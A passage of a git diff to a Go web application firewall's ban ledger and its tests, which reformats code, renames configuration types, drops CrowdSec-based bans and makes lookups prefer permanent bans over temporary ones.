0) || holds(got, 1) || !holds(got, maxCounters) { - t.Errorf("%d counters, holding the first client %v, the second %v and the "+ - "new one %v, want %d, the first and the new one", len(got), holds(got, 0), - holds(got, 1), holds(got, maxCounters), maxCounters) + t.Errorf( + "%d counters, holding the first client %v, the second %v and the "+ + "new one %v, want %d, the first and the new one", + len(got), + holds(got, 0), + holds(got, 1), + holds(got, maxCounters), + maxCounters, + ) } } -func TestLoadEmptiesBucketsWhoseTimeHasPassedAndDropsEmptyCounters(t *testing.T) { +func TestLoadEmptiesBucketsWhoseTimeHasPassedAndDropsEmptyCounters( + t *testing.T, +) { t.Parallel() counters := newCounters(anomaly.Params{ - Net: anomaly.Thresholds{RequestsPerMinute: 1000, RequestsPerHour: 1000}, + Net: anomaly.Thresholds{ + RequestsPerMinute: 1000, + RequestsPerHour: 1000, + }, Total: anomaly.Thresholds{RequestsPerMinute: 1000}, NetV4Prefix: 24, }) @@ -142,7 +161,9 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassedAndDropsEmptyCounters(t *testing.T) Hour: ratelimit.Buckets{Start: midnight(), Current: 7}, } if got, want := counters.Snapshot(), []anomaly.Counter{netblock}; !reflect.DeepEqual( - got, want) { + got, + want, + ) { t.Errorf("counters read\n%+v\nwant\n%+v", got, want) } @@ -192,9 +213,12 @@ func TestLoadDropsTheLeastRecentlyCountedFirst(t *testing.T) { got := counters.Snapshot() if !holds(got, 0) || holds(got, maxCounters/2) { - t.Errorf("holding the first client of the file %v, and the first counted in "+ - "the minute before %v, want only the first", holds(got, 0), - holds(got, maxCounters/2)) + t.Errorf( + "holding the first client of the file %v, and the first counted in "+ + "the minute before %v, want only the first", + holds(got, 0), + holds(got, maxCounters/2), + ) } } @@ -225,9 +249,14 @@ func newQueue() *alerts.Queue { // request returns a request from client number i, an address in // 10.0.0.0/8. func request(i int) anomaly.Request { - client := netip.MustParseAddr(fmt.Sprintf("10.%d.%d.%d", i>>16, i>>8&255, i&255)) + client := netip.MustParseAddr( + fmt.Sprintf("10.%d.%d.%d", i>>16, i>>8&255, i&255), + ) - return anomaly.Request{Client: client, ClientGroup: netip.PrefixFrom(client, 32)} + return anomaly.Request{ + Client: client, + ClientGroup: netip.PrefixFrom(client, 32), + } } // holds reports whether counters hold the counter of client number i. diff --git a/internal/bans/admin_test.go b/internal/bans/admin_test.go index 4393f6c..dd2c55d 100644 --- a/internal/bans/admin_test.go +++ b/internal/bans/admin_test.go @@ -13,7 +13,7 @@ func TestBanWithoutACauseIsAnAdmins(t *testing.T) { t.Parallel() netblock := netip.MustParsePrefix("203.0.113.0/24") - ledger := bans.New(defaultRules()) + ledger := bans.New(defaultParams()) ledger.Load([]bans.Ban{{Netblock: netblock, Start: midnight()}}) if got := ledger.Bans(netblock)[0].Cause; got != bans.CauseAdmin { @@ -24,21 +24,33 @@ func TestBanWithoutACauseIsAnAdmins(t *testing.T) { func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) { t.Parallel() - rules := defaultRules() - rules.MaxBans = 1 - ledger := bans.New(rules) + params := defaultParams() + params.MaxBans = 1 + ledger := bans.New(params) adminsOnly := netip.MustParsePrefix("198.51.100.0/24") both := netip.MustParsePrefix("203.0.113.1/32") second := netip.MustParsePrefix("203.0.113.2/32") third := netip.MustParsePrefix("203.0.113.3/32") // Seen longest ago, a netblock with two of an admin's bans alone, and - // then one with an admin's ban before a ban smallwebwaf made: the one + // then one with an admin's ban before a ban sww made: the one // ban counted toward MaxBans. ledger.Load([]bans.Ban{ - {Netblock: adminsOnly, Start: midnight().Add(-3 * time.Hour), Cause: bans.CauseAdmin}, - {Netblock: adminsOnly, Start: midnight().Add(-2 * time.Hour), Cause: bans.CauseAdmin}, - {Netblock: both, Start: midnight().Add(-time.Hour), Cause: bans.CauseAdmin}, + { + Netblock: adminsOnly, + Start: midnight().Add(-3 * time.Hour), + Cause: bans.CauseAdmin, + }, + { + Netblock: adminsOnly, + Start: midnight().Add(-2 * time.Hour), + Cause: bans.CauseAdmin, + }, + { + Netblock: both, + Start: midnight().Add(-time.Hour), + Cause: bans.CauseAdmin, + }, { Netblock: both, Start: midnight(), @@ -48,25 +60,37 @@ func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) { }) wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 2}) - // A new ban drops the ban smallwebwaf made, and only that one. + // A new ban drops the ban sww made, and only that one. ledger.BanForLimit(second, midnight(), bans.Notes{}) - wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 1}) + wantBans( + t, + ledger, + map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 1}, + ) if ledger.Bans(both)[0].Cause != bans.CauseAdmin { - t.Errorf("%s kept %+v, want the admin's ban", both, ledger.Bans(both)) + t.Errorf( + "%s kept %+v, want the admin's ban", + both, + ledger.Bans(both), + ) } // And the next drops that one. ledger.BanForLimit(third, midnight(), bans.Notes{}) - wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 0, third: 1}) + wantBans( + t, + ledger, + map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 0, third: 1}, + ) } func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) { t.Parallel() - rules := defaultRules() - rules.MaxBans = 2 - ledger := bans.New(rules) + params := defaultParams() + params.MaxBans = 2 + ledger := bans.New(params) netblock := netip.MustParsePrefix("203.0.113.1/32") other := netip.MustParsePrefix("203.0.113.2/32") @@ -74,7 +98,11 @@ func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) { // twice, each time after its last ban has ended. ledger.BanForAdmin(netblock, midnight(), midnight().Add(time.Minute), "probes for logins") - first, _ := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{}) + first, _ := ledger.BanForLimit( + netblock, + midnight().Add(time.Minute), + bans.Notes{}, + ) second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{}) // A ban on another netblock fills the ledger, and the netblock's first @@ -93,7 +121,7 @@ func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) { func TestEarlierBansCountABanAnAdminKeepsOnce(t *testing.T) { t.Parallel() - ledger := bans.New(defaultRules()) + ledger := bans.New(defaultParams()) netblock := netip.MustParsePrefix("203.0.113.1/32") // The netblock breaks a limit twice, the second time after its first @@ -114,17 +142,26 @@ func TestEarlierBansCountABanAnAdminKeepsOnce(t *testing.T) { } } -func TestReasonOfTheBansSmallwebwafMakes(t *testing.T) { +func TestReasonOfTheBansSwwMakes(t *testing.T) { t.Parallel() - ledger := bans.New(defaultRules()) + ledger := bans.New(defaultParams()) - limit, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(), - bans.Notes{Kind: "requests", Limit: 1000, Window: "minute"}) - byteLimit, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.3/32"), - midnight(), bans.Notes{Kind: "bytes", Limit: 10 << 30, Window: "hour"}) - attack, _ := ledger.BanForAttack(netip.MustParsePrefix("203.0.113.2/32"), midnight(), - bans.Notes{RuleID: "git-dir", Target: "path"}) + limit, _ := ledger.BanForLimit( + netip.MustParsePrefix("203.0.113.1/32"), + midnight(), + bans.Notes{Kind: "requests", Limit: 1000, Window: "minute"}, + ) + byteLimit, _ := ledger.BanForLimit( + netip.MustParsePrefix("203.0.113.3/32"), + midnight(), + bans.Notes{Kind: "bytes", Limit: 10 << 30, Window: "hour"}, + ) + attack, _ := ledger.BanForAttack( + netip.MustParsePrefix("203.0.113.2/32"), + midnight(), + bans.Notes{RuleID: "git-dir", Target: "path"}, + ) for _, tc := range []struct{ got, want string }{ {limit.Reason, "requests per minute over the limit of 1000"}, @@ -150,7 +187,7 @@ func TestLiftedBanForALimitRefusesNothingAndMakesNoBanLonger(t *testing.T) { Lifted: midnight().Add(10 * time.Minute), } - ledger := bans.New(defaultRules()) + ledger := bans.New(defaultParams()) ledger.Load([]bans.Ban{lifted}) // While it would still last, it refuses nothing, and a limit broken @@ -166,22 +203,30 @@ func TestLiftedBanForALimitRefusesNothingAndMakesNoBanLonger(t *testing.T) { ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{}) if ban.Expires.Sub(ban.Start) != time.Hour || ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) { - t.Errorf("the next ban lasts %s with earlier bans %+v, want 1h and 1 for a limit", - ban.Expires.Sub(ban.Start), ban.Notes.EarlierBans) + t.Errorf( + "the next ban lasts %s with earlier bans %+v, want 1h and 1 for a limit", + ban.Expires.Sub(ban.Start), + ban.Notes.EarlierBans, + ) } held := ledger.Bans(netblock) if len(held) != 2 || !reflect.DeepEqual(held[0], lifted) { - t.Errorf("the ledger holds %+v, want the lifted ban and the new one", held) + t.Errorf( + "the ledger holds %+v, want the lifted ban and the new one", + held, + ) } } -func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(t *testing.T) { +func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger( + t *testing.T, +) { t.Parallel() // A permanent ban for a clear sign of attack, lifted. netblock := netip.MustParsePrefix("203.0.113.9/32") - ledger := bans.New(defaultRules()) + ledger := bans.New(defaultParams()) ledger.Load([]bans.Ban{{ Netblock: netblock, Start: midnight(), @@ -198,22 +243,32 @@ func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(t *testing.T) { active, permanent := ledger.Count(now) if active != 0 || permanent != 0 { - t.Errorf("%d bans are active and %d permanent, want none", active, permanent) + t.Errorf( + "%d bans are active and %d permanent, want none", + active, + permanent, + ) } // The next clear sign of attack bans for seven days, as a first does. ban, _ := ledger.BanForAttack(netblock, now, bans.Notes{}) if ban.Expires.Sub(ban.Start) != 7*day { - t.Errorf("the next ban for an attack ends at %s, want seven days on", ban.Expires) + t.Errorf( + "the next ban for an attack ends at %s, want seven days on", + ban.Expires, + ) } } func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) { t.Parallel() - ledger := bans.New(defaultRules()) - made, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(), - bans.Notes{}) + ledger := bans.New(defaultParams()) + made, _ := ledger.BanForLimit( + netip.MustParsePrefix("203.0.113.1/32"), + midnight(), + bans.Notes{}, + ) atStart := bans.Ban{ Netblock: netip.MustParsePrefix("203.0.113.2/32"), Start: midnight(), @@ -223,10 +278,13 @@ func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) { ledger.Load([]bans.Ban{made, atStart}) if got := ledger.Made(bans.CauseAdmin); got != 0 { - t.Fatalf("%d bans made by an admin after the start's, want none", got) + t.Fatalf( + "%d bans made by an admin after the start's, want none", + got, + ) } - // The admin keeps the ban smallwebwaf made, keeps the one read at the + // The admin keeps the ban sww made, keeps the one read at the // start, and adds one without a cause: that one alone is made. kept := made kept.Cause = bans.CauseAdmin @@ -236,9 +294,13 @@ func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) { } ledger.LoadEdit([]bans.Ban{kept, atStart, added}) - if ledger.Made(bans.CauseAdmin) != 1 || ledger.Made(bans.CauseLimit) != 1 { - t.Errorf("%d bans made by an admin and %d for a limit, want 1 of each", - ledger.Made(bans.CauseAdmin), ledger.Made(bans.CauseLimit)) + if ledger.Made(bans.CauseAdmin) != 1 || + ledger.Made(bans.CauseLimit) != 1 { + t.Errorf( + "%d bans made by an admin and %d for a limit, want 1 of each", + ledger.Made(bans.CauseAdmin), + ledger.Made(bans.CauseLimit), + ) } } @@ -246,7 +308,7 @@ func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) { t.Parallel() netblock := netip.MustParsePrefix("203.0.113.0/24") - ledger := bans.New(defaultRules()) + ledger := bans.New(defaultParams()) // An hour's ban for a broken limit. ledger.BanForLimit(netblock, midnight(), bans.Notes{}) @@ -264,8 +326,12 @@ func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) { Notes: bans.Notes{EarlierBans: bans.EarlierBans{Limit: 1}}, } - got := ledger.BanForAdmin(netip.MustParsePrefix("203.0.113.9/24"), now, time.Time{}, - "probes for logins") + got := ledger.BanForAdmin( + netip.MustParsePrefix("203.0.113.9/24"), + now, + time.Time{}, + "probes for logins", + ) if !reflect.DeepEqual(got, want) { t.Errorf("the admin's ban is\n%+v\nwant\n%+v", got, want) } @@ -277,10 +343,17 @@ func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) { } // It refuses once the ban for the limit has ended. - ban, banned, _ := ledger.Find(netblock.Addr(), midnight().Add(2*time.Hour)) + ban, banned, _ := ledger.Find( + netblock.Addr(), + midnight().Add(2*time.Hour), + ) if !banned || !reflect.DeepEqual(ban, want) { - t.Errorf("after the limit's ban the netblock is under %+v (%t), want %+v", - ban, banned, want) + t.Errorf( + "after the limit's ban the netblock is under %+v (%t), want %+v", + ban, + banned, + want, + ) } } @@ -292,7 +365,7 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) { wide := netip.MustParsePrefix("203.0.113.0/24") other := netip.MustParsePrefix("203.0.113.10/32") - ledger := bans.New(defaultRules()) + ledger := bans.New(defaultParams()) ledger.Load([]bans.Ban{ // Ended an hour ago. { @@ -312,8 +385,12 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) { now := midnight().Add(time.Minute) lifted := ledger.Lift(client, now) - if len(lifted) != 2 || lifted[0].Lifted != now || lifted[1].Lifted != now { - t.Errorf("lifted %+v, want the two active bans covering the client", lifted) + if len(lifted) != 2 || lifted[0].Lifted != now || + lifted[1].Lifted != now { + t.Errorf( + "lifted %+v, want the two active bans covering the client", + lifted, + ) } wantChanged(t, ledger, true) @@ -330,8 +407,11 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) { covering := ledger.Covering(client) if len(covering) != 3 || covering[0].Netblock != wide || !covering[1].Lifted.IsZero() || covering[2].Lifted != now { - t.Errorf("the bans covering the client are %+v, want the /24's and both "+ - "of its own, the earlier not lifted", covering) + t.Errorf( + "the bans covering the client are %+v, want the /24's and both "+ + "of its own, the earlier not lifted", + covering, + ) } // With none active, nothing is lifted or changed. @@ -341,3 +421,72 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) { wantChanged(t, ledger, false) } + +func TestPermanentBanOnAWiderNetblockIsReturnedOverATemporaryBan( + t *testing.T, +) { + t.Parallel() + + client := netip.MustParseAddr("203.0.113.9") + ledger := bans.New(defaultParams()) + + // The temporary ban is made first, so that its netblock is looked at first. + ledger.BanForLimit( + netip.MustParsePrefix("203.0.113.9/32"), + midnight(), + bans.Notes{}, + ) + ledger.BanForAdmin( + netip.MustParsePrefix("203.0.113.0/24"), + midnight(), + time.Time{}, + "for good", + ) + + wantPermanentBan(t, ledger, client, midnight().Add(time.Minute)) +} + +func TestOlderPermanentBanIsReturnedOverANewerTemporaryBan(t *testing.T) { + t.Parallel() + + netblock := netip.MustParsePrefix("203.0.113.0/24") + ledger := bans.New(defaultParams()) + + ledger.BanForAdmin(netblock, midnight(), time.Time{}, "for good") + ledger.BanForAdmin( + netblock, + midnight().Add(time.Minute), + midnight().Add(time.Hour), + "for an hour", + ) + + wantPermanentBan( + t, + ledger, + netblock.Addr(), + midnight().Add(2*time.Minute), + ) +} + +// wantPermanentBan checks that Find and Check return a permanent ban for +// client at now. +func wantPermanentBan( + t *testing.T, ledger *bans.Ledger, client netip.Addr, now time.Time, +) { + t.Helper() + + for name, look := range map[string]func(netip.Addr, time.Time) (bans.Ban, bool, bool){ + "Find": ledger.Find, + "Check": ledger.Check, + } { + ban, banned, _ := look(client, now) + if !banned || !ban.Permanent() { + t.Errorf( + "%s returned %+v and banned %v, want a permanent ban", + name, + ban, + banned, + ) + } + } +} diff --git a/internal/bans/bans.go b/internal/bans/bans.go index e3848d8..b581382 100644 --- a/internal/bans/bans.go +++ b/internal/bans/bans.go @@ -1,10 +1,8 @@ -// Package bans is the ban ledger: the bans smallwebwaf makes on the -// netblocks of clients that break a rate limit, a byte limit or the error -// burst, show a clear sign of attack or are listed by the CrowdSec -// decision list, and -// those an admin makes, with their notes, as the "Bans" section of SPEC.md -// describes. The bans are kept in memory, and written to bans.json and -// read from it by the state package. +// Package bans is the ban ledger: the bans sww makes on the +// netblocks of clients that break a rate limit, a byte limit or the refusal +// limit or show a clear sign of attack, and those an admin makes, with their +// notes, as the "Bans" section of SPEC.md describes. The bans are kept in +// memory, and written to bans.json and read from it by the state package. package bans import ( @@ -21,16 +19,13 @@ import ( // The causes of bans. const ( - // CauseLimit is a ban smallwebwaf made for a broken limit. + // CauseLimit is a ban sww made for a broken limit. CauseLimit = "limit" - // CauseAttack is a ban smallwebwaf made for a clear sign of attack. + // CauseAttack is a ban sww made for a clear sign of attack. CauseAttack = "attack" - // CauseAdmin is a ban an admin made, or one smallwebwaf made that an + // CauseAdmin is a ban an admin made, or one sww made that an // admin keeps. It is never dropped. CauseAdmin = "admin" - // CauseCrowdSec is a ban smallwebwaf made for a client the CrowdSec - // decision list lists. It ends when CrowdSec's decision does. - CauseCrowdSec = "crowdsec" ) // repeatFactor is how many times as long as the netblock's last ban a ban @@ -40,18 +35,18 @@ const repeatFactor = 3 // maxTextBytes is how much of each text in a ban's notes is kept. const maxTextBytes = 256 -// Rules are how long a ban lasts, and how many bans are held. -type Rules struct { +// Params are how long a ban lasts, and how many bans are held. +type Params struct { // LimitBanDuration is how long a first ban for a broken limit lasts. LimitBanDuration time.Duration // LimitBanRepeatWindow is how soon after the end of the netblock's - // ban that ended last, other than one for a clear sign of attack or for - // CrowdSec's decision, a broken limit counts as a repeat, which bans for + // ban that ended last, other than one for a clear sign of attack, a + // broken limit counts as a repeat, which bans for // repeatFactor times as long as that ban. LimitBanRepeatWindow time.Duration - // MaxBanDuration is the longest ban for a broken limit; one that would - // be longer is permanent instead. - MaxBanDuration time.Duration + // A ban for a broken limit that would be longer than + // LimitBanPermanentAbove is permanent instead. + LimitBanPermanentAbove time.Duration // AttackBanDuration is how long a first ban for a clear sign of attack // lasts. AttackBanDuration time.Duration @@ -68,11 +63,10 @@ type Ban struct { Start time.Time // Expires is when the ban ends, zero for a permanent ban. Expires time.Time - // Cause is CauseLimit, CauseAttack, CauseAdmin or CauseCrowdSec. + // Cause is CauseLimit, CauseAttack or CauseAdmin. Cause string - // Reason is a short text: for a ban smallwebwaf made, the limit broken, - // the rule that matched or the scenario of CrowdSec's decision; for an - // admin's, what the admin wrote. + // Reason is a short text: for a ban sww made, the limit broken or + // the rule that matched; for an admin's, what the admin wrote. Reason string // Lifted is when an admin lifted the ban, zero while no admin has. A // lifted ban refuses nothing, and does not make the netblock's next @@ -105,7 +99,7 @@ type Notes struct { Country string `json:"country"` // Kind, Limit, Window and Count are, for a ban for a broken limit, // what the limit was on, "requests" for a rate limit, "bytes" for a - // byte limit or "refusals" for the error burst, the limit that was + // byte limit or "refusals" for the refusal limit, the limit that was // broken, its window, "minute", "hour" or "day", and the count reached: // the client's requests, bytes or refusals in the window, those of the // request that broke the limit included. @@ -123,7 +117,7 @@ type Notes struct { LimitPercentSetting string `json:"limit_percent_setting,omitempty"` // RuleID and Target are, for a ban for a clear sign of attack, the id // of the rule file rule that matched, and its target; TrapPath is, for - // one for a request for a path in SWWAF_TRAP_PATHS, that path as the + // one for a request for a path in SWW_WAF_TRAP_PATHS, that path as the // client sent it. RuleID string `json:"rule_id,omitempty"` Target string `json:"target,omitempty"` @@ -133,8 +127,7 @@ type Notes struct { // log's reputation names them. It is left out when none did. Reputation []ReputationHit `json:"reputation,omitempty"` // Request is the request that broke the limit, or whose bytes broke - // it, that was the clear sign of attack, or that came from a client the - // CrowdSec decision list lists. + // it, or that was the clear sign of attack. Request Request `json:"request"` // Requests is how many requests the netblock has sent since it was // first seen, and Refused how many of them the ban has refused so @@ -148,9 +141,8 @@ type Notes struct { // ReputationHit is a reputation source that listed a client, as a // reputation_hit alert's detail gives it: Source is the URL of the -// blocklist or of the CrowdSec decision list, the DNSBL zone with its key -// masked, or "abuseipdb", and Score, for AbuseIPDB alone, its score of the -// client. +// blocklist, the DNSBL zone with its key masked, or "abuseipdb", and Score, +// for AbuseIPDB alone, its score of the client. type ReputationHit struct { Source string `json:"source"` Score *int64 `json:"score,omitempty"` @@ -158,10 +150,9 @@ type ReputationHit struct { // EarlierBans counts a netblock's bans before a ban, by cause. type EarlierBans struct { - Limit int `json:"limit"` - Attack int `json:"attack"` - Admin int `json:"admin"` - CrowdSec int `json:"crowdsec"` + Limit int `json:"limit"` + Attack int `json:"attack"` + Admin int `json:"admin"` } // Request is a request in a ban's notes. Each text is cut to 256 bytes. @@ -180,7 +171,7 @@ type Request struct { // Ledger holds the bans. It is safe for concurrent use. type Ledger struct { - rules Rules + params Params // changed receives a value when a ban is made, unless one is waiting // already. changed chan struct{} @@ -190,7 +181,7 @@ type Ledger struct { // Find make each netblock they find the most recently seen. netblocks *simplelru.LRU[netip.Prefix, *[]Ban] // held is how many bans netblocks holds whose cause is not CauseAdmin, - // at most rules.MaxBans. + // at most params.MaxBans. held int // made is how many bans have been made since the start, by cause: by // the ledger, and by an admin, through BanForAdmin or in an edit of @@ -199,23 +190,26 @@ type Ledger struct { // v4Lengths and v6Lengths are the lengths of the IPv4 and IPv6 // netblocks that have been banned. Check looks for a ban at each of // them, so that a ban read from bans.json refuses every client in its - // netblock even when it was made with another SWWAF_BAN_SCOPE_V4_PREFIX, + // netblock even when it was made with another SWW_WAF_BAN_SCOPE_V4_PREFIX, // or another length of an IPv6 client's netblock. v4Lengths, v6Lengths []int } // New returns a Ledger with no ban yet. -func New(rules Rules) *Ledger { +func New(params Params) *Ledger { // The ledger drops bans itself, and never those whose cause is // CauseAdmin, however many there are, so the LRU has no limit of its // own: it keeps the netblocks in the order they were last seen. - netblocks, err := simplelru.NewLRU[netip.Prefix, *[]Ban](math.MaxInt, nil) + netblocks, err := simplelru.NewLRU[netip.Prefix, *[]Ban]( + math.MaxInt, + nil, + ) if err != nil { panic(err) // NewLRU fails only for a size below one } return &Ledger{ - rules: rules, + params: params, changed: make(chan struct{}, 1), netblocks: netblocks, made: map[string]int{}, @@ -274,25 +268,35 @@ func (l *Ledger) Find(client netip.Addr, now time.Time) (Ban, bool, bool) { // activeBan returns the ban in bans, a netblock's bans oldest first, that // is active at now, or nil when none is. If several are, it returns the -// one that started last. Every ban is looked at, since a ban an admin adds -// to bans.json can start before the netblock's others and outlast them. +// newest permanent one, or the newest when none is permanent. Every ban is +// looked at, since a ban an admin adds to bans.json can start before the +// netblock's others and outlast them. func activeBan(bans []Ban, now time.Time) *Ban { + var newest *Ban + for i := len(bans) - 1; i >= 0; i-- { - if bans[i].ActiveAt(now) { + if !bans[i].ActiveAt(now) { + continue + } + + if bans[i].Permanent() { return &bans[i] } + + if newest == nil { + newest = &bans[i] + } } - return nil + return newest } // BanForLimit bans netblock at now for a broken limit, with notes, and // returns the ban, and true. A first ban lasts LimitBanDuration. A ban // made within LimitBanRepeatWindow after the netblock's ban that ended -// last, other than one for a clear sign of attack or for CrowdSec's -// decision, or a lifted one, lasts +// last, other than one for a clear sign of attack or a lifted one, lasts // repeatFactor times as long as that one. A ban that would be longer -// than MaxBanDuration is permanent instead. If a ban on netblock is still +// than LimitBanPermanentAbove is permanent instead. If a ban on netblock is still // active, as when two of its requests break a limit at once, that ban is // returned with false, and no other is made. The ledger fills in the // notes' Refused and EarlierBans itself, and gives the ban the reason @@ -301,7 +305,14 @@ func activeBan(bans []Ban, now time.Time) *Ban { func (l *Ledger) BanForLimit( netblock netip.Prefix, now time.Time, notes Notes, ) (Ban, bool) { - return l.ban(netblock, now, time.Time{}, CauseLimit, limitReason(notes), notes, true) + return l.ban( + netblock, + now, + CauseLimit, + limitReason(notes), + notes, + true, + ) } // WouldBanForLimit returns what BanForLimit would, without making the ban: @@ -309,7 +320,14 @@ func (l *Ledger) BanForLimit( func (l *Ledger) WouldBanForLimit( netblock netip.Prefix, now time.Time, notes Notes, ) (Ban, bool) { - return l.ban(netblock, now, time.Time{}, CauseLimit, limitReason(notes), notes, false) + return l.ban( + netblock, + now, + CauseLimit, + limitReason(notes), + notes, + false, + ) } // BanForAttack bans netblock at now for a clear sign of attack, with @@ -320,7 +338,14 @@ func (l *Ledger) WouldBanForLimit( func (l *Ledger) BanForAttack( netblock netip.Prefix, now time.Time, notes Notes, ) (Ban, bool) { - return l.ban(netblock, now, time.Time{}, CauseAttack, attackReason(notes), notes, true) + return l.ban( + netblock, + now, + CauseAttack, + attackReason(notes), + notes, + true, + ) } // WouldBanForAttack returns what BanForAttack would, without making the @@ -328,35 +353,19 @@ func (l *Ledger) BanForAttack( func (l *Ledger) WouldBanForAttack( netblock netip.Prefix, now time.Time, notes Notes, ) (Ban, bool) { - return l.ban(netblock, now, time.Time{}, CauseAttack, attackReason(notes), notes, - false) + return l.ban( + netblock, + now, + CauseAttack, + attackReason(notes), + notes, + false, + ) } -// BanForCrowdSec bans netblock at now until expires, when CrowdSec's -// decision on the client ends, with notes, and returns the ban, and -// whether it made it, as BanForLimit does. Its reason is "CrowdSec's -// decision for ", the scenario that made the decision. -func (l *Ledger) BanForCrowdSec( - netblock netip.Prefix, now, expires time.Time, scenario string, notes Notes, -) (Ban, bool) { - return l.ban(netblock, now, expires, CauseCrowdSec, crowdSecReason(scenario), notes, - true) -} - -// WouldBanForCrowdSec returns what BanForCrowdSec would, without making -// the ban: what observe mode would have done. -func (l *Ledger) WouldBanForCrowdSec( - netblock netip.Prefix, now, expires time.Time, scenario string, notes Notes, -) (Ban, bool) { - return l.ban(netblock, now, expires, CauseCrowdSec, crowdSecReason(scenario), notes, - false) -} - -// WouldBePermanent reports whether a ban on netblock for cause, CauseLimit, -// CauseAttack or CauseCrowdSec, made at now would be permanent, as -// BanForLimit, BanForAttack or BanForCrowdSec would make it. It works out -// nothing else of the ban. A ban for CrowdSec's decision is never -// permanent: it ends with the decision. +// WouldBePermanent reports whether a ban on netblock for cause, CauseLimit +// or CauseAttack, made at now would be permanent, as BanForLimit or +// BanForAttack would make it. It works out nothing else of the ban. func (l *Ledger) WouldBePermanent( netblock netip.Prefix, now time.Time, cause string, ) bool { @@ -368,14 +377,11 @@ func (l *Ledger) WouldBePermanent( held = *bans } - switch cause { - case CauseAttack: + if cause == CauseAttack { return l.attackExpiry(held, now).IsZero() - case CauseLimit: - return l.limitExpiry(held, now).IsZero() - default: // CauseCrowdSec - return false } + + return l.limitExpiry(held, now).IsZero() } // limitReason is the reason of a ban for a broken limit, with notes. @@ -394,12 +400,6 @@ func attackReason(notes Notes) string { return "matched the rule " + notes.RuleID } -// crowdSecReason is the reason of a ban for CrowdSec's decision, which -// scenario made. -func crowdSecReason(scenario string) string { - return "CrowdSec's decision for " + scenario -} - // BanForAdmin bans netblock at now for an admin, with reason, until // expires, or for good when expires is zero, and returns the ban, whose // cause is CauseAdmin. Unlike BanForLimit and BanForAttack, it makes the @@ -494,7 +494,10 @@ func (l *Ledger) Bans(netblock netip.Prefix) []Ban { // about it. It is not a request from netblock, and leaves when it was last // seen unchanged. It does not have bans.json written at once: the notes // are written with its next write, as the counts in them are. -func (l *Ledger) AddLookup(netblock netip.Prefix, asn, asName, country string) { +func (l *Ledger) AddLookup( + netblock netip.Prefix, + asn, asName, country string, +) { l.mu.Lock() defer l.mu.Unlock() @@ -581,7 +584,7 @@ func (l *Ledger) Load(bans []Ban) { } // LoadEdit is Load for an admin's edit of bans.json, taken in while -// smallwebwaf runs. Each ban in it whose cause is CauseAdmin, and which +// sww runs. Each ban in it whose cause is CauseAdmin, and which // the ledger did not hold, with the same netblock and start, is one the // admin made, and is counted among the bans made. func (l *Ledger) LoadEdit(bans []Ban) { @@ -636,14 +639,15 @@ func (l *Ledger) holds(netblock netip.Prefix, start time.Time) bool { }) } -// ban bans netblock at now for cause, with reason and notes, as -// BanForLimit, BanForAttack and BanForCrowdSec describe, and returns the -// ban, and whether it made it. expires is when a ban for CauseCrowdSec -// ends, and zero for the others, whose end the ledger works out. Unless -// keep is true, the ban is not made, only returned: it is the ban that -// would have been made. +// ban bans netblock at now for cause, CauseLimit or CauseAttack, with +// reason and notes, as BanForLimit and BanForAttack describe, and returns +// the ban, and whether it made it. Unless keep is true, the ban is not +// made, only returned: it is the ban that would have been made. func (l *Ledger) ban( - netblock netip.Prefix, now, expires time.Time, cause, reason string, notes Notes, + netblock netip.Prefix, + now time.Time, + cause, reason string, + notes Notes, keep bool, ) (Ban, bool) { l.mu.Lock() @@ -664,15 +668,18 @@ func (l *Ledger) ban( } notes.Request = notes.Request.cut() - ban := Ban{Netblock: netblock, Start: now, Cause: cause, Reason: reason, Notes: notes} + ban := Ban{ + Netblock: netblock, + Start: now, + Cause: cause, + Reason: reason, + Notes: notes, + } - switch cause { - case CauseAttack: + if cause == CauseAttack { ban.Expires = l.attackExpiry(held, now) - case CauseLimit: + } else { ban.Expires = l.limitExpiry(held, now) - default: // CauseCrowdSec - ban.Expires = expires } if !keep { @@ -707,16 +714,13 @@ func earlierBans(held []Ban) EarlierBans { fromHere.Attack++ case CauseAdmin: fromHere.Admin++ - case CauseCrowdSec: - fromHere.CrowdSec++ } notes := ban.Notes.EarlierBans count := EarlierBans{ - Limit: notes.Limit + fromHere.Limit, - Attack: notes.Attack + fromHere.Attack, - Admin: notes.Admin + fromHere.Admin, - CrowdSec: notes.CrowdSec + fromHere.CrowdSec, + Limit: notes.Limit + fromHere.Limit, + Attack: notes.Attack + fromHere.Attack, + Admin: notes.Admin + fromHere.Admin, } // Of counts that name as many bans, the earlier ban's is taken: it @@ -731,7 +735,7 @@ func earlierBans(held []Ban) EarlierBans { // total returns how many bans e counts, of all causes. func (e EarlierBans) total() int { - return e.Limit + e.Attack + e.Admin + 